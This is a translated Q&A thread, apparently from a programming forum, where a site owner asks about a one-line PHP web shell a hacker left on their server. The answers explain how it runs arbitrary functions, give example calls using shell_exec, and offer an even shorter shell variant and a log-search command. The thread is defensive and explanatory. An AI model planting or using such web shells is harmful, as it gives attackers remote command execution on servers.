我在我的一个 PHP 文件中发现了黑客留下的一行脚本。它的内容如下:
<?php
($_=@$_GET[2]).@$_($_POST[1]);
?>
任何人都可以就这行代码的作用给出一些提示吗?谢谢
我在我的一个 PHP 文件中发现了黑客留下的一行脚本。它的内容如下:
<?php
($_=@$_GET[2]).@$_($_POST[1]);
?>
任何人都可以就这行代码的作用给出一些提示吗?谢谢
由于问题被搁置,我已经将其作为评论发布,现在在这里作为答案:
这是一个 PHP 外壳。如果将其重写为<?php ($_=@$_GET[2]).@$_($_GET[1]); ?>
URL ,则会在 shell 上file.php?2=shell_exec&1=whoami
执行命令。whoami
在您的示例中,一个参数由 POST 传递,一个由 GET 传递。所以调用起来有点困难。
你也可以用它调用其他函数。第一个参数总是函数名,第二个是被调用函数的参数。
显然它在http://h.ackack.net/tiny-php-shell.html ( https://twitter.com/dragosr/status/116759108526415872 ) 上进行了解释,但该网站没有为我加载。
/edit:如果您有权访问服务器日志文件,则可以搜索它们以查看黑客是否使用了此 shell。一个简单egrep "(&|\?)2=.+" logs*
的外壳应该可以工作。您只能看到一半的执行命令(只有 GET,而不是 POST),但这可能有助于查看攻击者是否真的使用了他的脚本。
正如 Reeno 在评论中所说,它就像一个 PHP shell。
将带有键“2”的 GET 变量存储在名为$_
. 由于 PHP 的弱类型特性,我们不需要在数字周围加上引号。
$_=@$_GET[2]
将其视为$_
可调用函数名并将其$_POST[1]
作为第一个参数执行。
@$_($_POST[1])
运算符应禁止@
错误记录,请参阅PHP.net:错误控制运算符。
两个语句之间的连接运算符实际上并不重要。可以这样重写:
$_=@$_GET[2];
@$_($_POST[1]);
调用任意函数。我不会提及成功攻击的特定 HTTP 标头,但这对于每个(Web)程序员来说应该是相当容易的。
此代码用于调用 PHP 函数。举个例子,你的黑客会使用这种形式:
<form method="post" action="http://site.com/page.php?2=shell_exec">
<input name="1" value="ipconfig -all"/>
<input type="submit" value="Send"/>
</form>
然后你会得到这个值:
$_
= $_GET[2]
=shell_exec
$_POST[1]
=ipconfig -all
$_($_POST[1])
= $_("ipconfig -all")
=shell_exec("ipconfig -all")
@
在这里禁用错误。
一个更简单的示例是使用此代码:
<?= @$_GET['c'](@$_GET['p']); ?>
通过对http://site.com/page.php?c=shell_exec&p=ipconfig%20-all的简单调用。